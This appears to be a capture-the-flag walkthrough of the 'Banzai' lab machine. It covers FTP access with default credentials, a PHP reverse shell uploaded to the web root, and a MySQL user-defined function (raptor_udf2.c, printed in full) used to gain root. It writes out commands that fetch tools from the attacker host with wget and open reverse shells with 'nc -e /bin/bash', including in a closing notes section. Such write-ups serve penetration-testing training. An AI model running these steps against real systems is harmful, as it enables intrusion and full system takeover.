Summary

In this scenario, we discover weak credentials in an FTP service. We’ll leverage this to upload a web shell to a misconfigured web server. We’ll then write a custom function which allows us to run commands as root on a misconfigured MySQL database.

Enumeration

Nmap

Let’s start with an nmap scan against all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -Pn 192.168.246.56
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( <https://nmap.org> ) at 2020-12-21 01:35 EST
Host is up (0.26s latency).
Not shown: 65528 filtered ports
PORT     STATE  SERVICE
20/tcp   closed ftp-data
21/tcp   open   ftp
22/tcp   open   ssh
25/tcp   open   smtp
5432/tcp open   postgresql
8080/tcp open   http-proxy
8295/tcp open   unknown

Nmap done: 1 IP address (1 host up) scanned in 4724.17 seconds

An aggressive scan against port 8295 reveals an Apache web server.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p 8295 -A 192.168.246.56 -T4
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( <https://nmap.org> ) at 2020-12-21 01:48 EST
Nmap scan report for 192.168.246.56
Host is up (0.27s latency).

PORT     STATE SERVICE VERSION
8295/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Banzai

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 23.87 seconds

Web Enumeration

Navigating to http://192.168.246.56:8295 presents a website, and further enumeration confirms that the index.php file exists. This indicates that PHP is installed and configured on the server.

┌──(kali㉿kali)-[~]
└─$ dirb <http://192.168.246.56:8295/>
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Dec 21 23:04:47 2020
URL_BASE: <http://192.168.246.56:8295/>
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: <http://192.168.246.56:8295/> ----
==> DIRECTORY: <http://192.168.246.56:8295/css/>
==> DIRECTORY: <http://192.168.246.56:8295/img/>
+ <http://192.168.246.56:8295/index.php> (CODE:200|SIZE:23315)
==> DIRECTORY: <http://192.168.246.56:8295/js/>
==> DIRECTORY: <http://192.168.246.56:8295/lib/>
+ <http://192.168.246.56:8295/server-status> (CODE:403|SIZE:281)

END_TIME: Mon Dec 21 23:27:39 2020
DOWNLOADED: 4612 - FOUND: 2

FTP Enumeration

Anonymous FTP authentication is turned off, but let’s test some basic insecure credentials including admin:admin.

┌──(kali㉿kali)-[~]
└─$ ftp 192.168.246.56
Connected to 192.168.246.56.
220 (vsFTPd 3.0.3)
Name (192.168.246.56:kali): admin
331 Please specify the password.
Password: admin
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
226 Directory send OK.

We find index.php on the FTP server, and discover that this is the web root directory!

Exploitation

File Upload Vulnerability

The root FTP directory is the same as the root of the website on port 8295, and it is writable. To exploit this, we can simply upload the PHP reverse shell from PentestMonkey (https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php), replacing lines 49 and 50 with the proper IP address and port number.

$ip = '192.168.49.246';  // CHANGE THIS
$port = 21;       // CHANGE THIS

We’ll upload the reverse shell to the web root using our FTP connection.

ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5496 bytes sent in 0.00 secs (26.6061 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
-rw-r--r--    1 1001     1001         5496 Dec 21 23:31 php-reverse-shell.php
226 Directory send OK.
ftp> exit
221 Goodbye.

Let’s start a Netcat listener on port 21, and then trigger the reverse shell by visiting http://192.168.246.56:8295/php-reverse-shell.php.

┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 21                                                                                                                                                                                                                   1 ⨯
listening on [any] 21 ...
connect to [192.168.49.246] from (UNKNOWN) [192.168.246.56] 41756
Linux banzai 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
 23:39:00 up 37 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@banzai:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Escalation

Local Enumeration

As we explore the system, we find an interesting config.php file located outside the web root, and it seems to contain database credentials.

www-data@banzai:/$ pwd
pwd
/
www-data@banzai:/$ cd /var/www/ && ls -lah
cd /var/www/ && ls -lah
total 16K
drwxr-xr-x  3 www-data root 4.0K Jul 31 12:33 .
drwxr-xr-x 12 root     root 4.0K Jun  4  2020 ..
-rw-r--r--  1 admin    root  135 May 26  2020 config.php
drwxr-xr-x  7 admin    root 4.0K Dec 21 23:38 html
www-data@banzai:/var/www$ cat config.php
cat config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>

We’ll note these credentials for later use.

Next, we note that our user account (www-data) can write to /var/www.

www-data@banzai:/var/www$ ls -la /var
ls -la /var
total 48
drwxr-xr-x 12 root     root  4096 Jun  4  2020 .
drwxr-xr-x 22 root     root  4096 Jun  4  2020 ..
drwxr-xr-x  2 root     root  4096 Jul  7 06:25 backups
drwxr-xr-x  9 root     root  4096 Jun  5  2020 cache
drwxr-xr-x 32 root     root  4096 Jun  5  2020 lib
drwxrwsr-x  2 root     staff 4096 Sep  8  2019 local
lrwxrwxrwx  1 root     root     9 Jun  4  2020 lock -> /run/lock
drwxr-xr-x  9 root     root  4096 Jul 27 12:09 log
drwxrwsr-x  2 root     mail  4096 Jun  4  2020 mail
drwxr-xr-x  2 root     root  4096 Jun  4  2020 opt
lrwxrwxrwx  1 root     root     4 Jun  4  2020 run -> /run
drwxr-xr-x  6 root     root  4096 Jun  5  2020 spool
drwxrwxrwt  2 root     root  4096 Aug 12 17:05 tmp
drwxr-xr-x  3 www-data root  4096 Jul 31 12:33 www
www-data@banzai:/var/www$

Checking for listening services, we find that a MySQL instance is running on the localhost interface.

www-data@banzai:/var/www$ netstat -tlpn
netstat -tlpn
...
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::5432                 :::*                    LISTEN      -
tcp6       0      0 :::25                   :::*                    LISTEN      -
tcp6       0      0 :::8295                 :::*                    LISTEN      -
tcp6       0      0 :::8080                 :::*                    LISTEN      -
www-data@banzai:/var/www$

We can authenticate with the credentials from config.php. In addition, it appears that the MySQL service is running with root privileges.

www-data@banzai:/var/www$ ps aux | grep mysql
ps aux | grep mysql
root       735  0.0  8.5 1122720 175744 ?      Sl   23:01   0:00 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
www-data  1717  0.0  0.0  11108   944 pts/0    S+   23:45   0:00 grep mysql
www-data@banzai:/var/www$

Escalation via MySQL User Defined Function

We can take advantage of this serious misconfiguration to escalate our privilege from www-data to root via user defined database functions (UDFs), specifically raptor_udf2.c.

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
        unsigned int arg_count; // number of arguments
        enum Item_result *arg_type; // pointer to item_result
        char **args; // pointer to arguments
        unsigned long *lengths; // length of string args
        char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
        char maybe_null; // 1 if func can return NULL
        unsigned int decimals; // for real functions
        unsigned long max_length; // for string functions
        char *ptr; // free ptr for func data
        char const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
        if (args->arg_count != 1) {
                return(0);
        }
        system(args->args[0]);
        return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
        return(0);
}

Let’s start a web server on our attack machine.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8295
Serving HTTP on 0.0.0.0 port 8295 (<http://0.0.0.0:8295/>) ...

Next, we’ll download the UDF source code to the target.

www-data@banzai:/var/www$ wget <http://192.168.49.246:8295/raptor_udf2.c> -O /var/www/raptor_udf2.c
<49.246:8295/raptor_udf2.c -O /var/www/raptor_udf2.c
--2020-12-21 23:54:25--  <http://192.168.49.246:8295/raptor_udf2.c>
Connecting to 192.168.49.246:8295... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1029 (1.0K) [text/x-csrc]
Saving to: '/var/www/raptor_udf2.c'

/var/www/raptor_udf 100%[===================>]   1.00K  --.-KB/s    in 0s

2020-12-21 23:54:25 (309 MB/s) - '/var/www/raptor_udf2.c' saved [1029/1029]

www-data@banzai:/var/www$ ls
ls
config.php  html  raptor_udf2.c
www-data@banzai:/var/www$

We’ll compile the source code in two steps as indicated in the comments.

www-data@banzai:/var/www$ gcc -g -c raptor_udf2.c
gcc -g -c raptor_udf2.c
www-data@banzai:/var/www$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
<,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
www-data@banzai:/var/www$ ls -lah
ls -lah
total 40K
drwxr-xr-x  3 www-data root     4.0K Dec 21 23:55 .
drwxr-xr-x 12 root     root     4.0K Jun  4  2020 ..
-rw-r--r--  1 admin    root      135 May 26  2020 config.php
drwxr-xr-x  7 admin    root     4.0K Dec 21 23:38 html
-rw-rw-rw-  1 www-data www-data 1.1K Dec 21 23:52 raptor_udf2.c
-rw-rw-rw-  1 www-data www-data 7.2K Dec 21 23:55 raptor_udf2.o
-rwxrwxrwx  1 www-data www-data  11K Dec 21 23:55 raptor_udf2.so
www-data@banzai:/var/www$

Now, we’ll connect to the MySQL database from our low-privilege shell with the recovered credentials and then switch to the mysql database.

www-data@banzai:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: EscalateRaftHubris123

Welcome to the MySQL monitor.  Commands end with ; or \\g.
Your MySQL connection id is 2
Server version: 5.7.30 MySQL Community Server (GPL)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql>

The first step in this process is to discover where this installation of MySQL stores its UDFs. In this case, the directory is /usr/lib/mysql/plugin/. We’ll use this directory name in the steps that follow.

mysql> show variables like 'plugin_dir';
show variables like 'plugin_dir';
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

mysql>

We must also determine whether the database has been misconfigured to allow insecure handling of files.

mysql> SHOW VARIABLES LIKE "secure_file_priv";
SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

mysql>

At this point, all elements are in place to exploit this misconfiguration and obtain a root shell.

mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/var/www/raptor_udf2.so'));
insert into foo values(load_file('/var/www/raptor_udf2.so'));
Query OK, 1 row affected (0.01 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

mysql>

If everything went according to plan, the do_system function based on our malicious UDF will grant us root-level command execution. To check this, we can run the id command and redirect the output to a file we can read:

mysql> select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');
select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');
+----------------------------------------------------------------------+
| do_system('id > /var/www/out; chown www-data.www-data /var/www/out') |
+----------------------------------------------------------------------+
|                                                                    0 |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> \\! sh
\\! sh
$ cat /var/www/out
cat /var/www/out
uid=0(root) gid=114(mysql) groups=114(mysql)
$ exit
exit
mysql>

The command did indeed execute with the highest privileges. To obtain a reverse shell, we can download our copy of the Netcat binary to the target and then run it as root. We’ll continue utilizing our running python web server on port 8295.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8295
Serving HTTP on 0.0.0.0 port 8295 (<http://0.0.0.0:8295/>) ...

Let’s download the Netcat binary and make it executable.

mysql> select do_system('wget <http://192.168.49.246:8295/nc> -O /var/www/nc');
select do_system('wget <http://192.168.49.246:8295/nc> -O /var/www/nc');
+----------------------------------------------------------------+
| do_system('wget <http://192.168.49.246:8295/nc> -O /var/www/nc') |
+----------------------------------------------------------------+
|                                                              0 |
+----------------------------------------------------------------+
1 row in set (4.94 sec)

mysql> select do_system('chmod 777 /var/www/nc');
select do_system('chmod 777 /var/www/nc');
+------------------------------------+
| do_system('chmod 777 /var/www/nc') |
+------------------------------------+
|                                  0 |
+------------------------------------+
1 row in set (0.00 sec)
mysql>

Finally, we can start our Netcat listener on port 8295 and execute the following command:

mymysql> select do_system('/var/www/nc 192.168.49.246 8295 -e /bin/bash');
select do_system('/var/www/nc 192.168.49.246 8295 -e /bin/bash');

We have caught our root shell!

┌──(kali㉿kali)-[/tmp]
└─$ nc -nlvp 8295
listening on [any] 8295 ...
connect to [192.168.49.246] from (UNKNOWN) [192.168.246.56] 49898
whoami
root

Other Skills

mysqludf脚本路径:/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so

mysql关闭严格模式(不限制宽度):set global sql_mode='';

mysql -u root -p

EscalateRaftHubris123

mysql> use mysql;

mysql> create table trenchesofit(line blob);

mysql> insert into trenchesofit values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));

mysql> select * from trenchesofit into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

mysql> select sys_exec('nc -e /bin/sh 192.168.49.130 22');

nc -lvnp 21

查看防火墙端口限制信息:

sudo iptables -S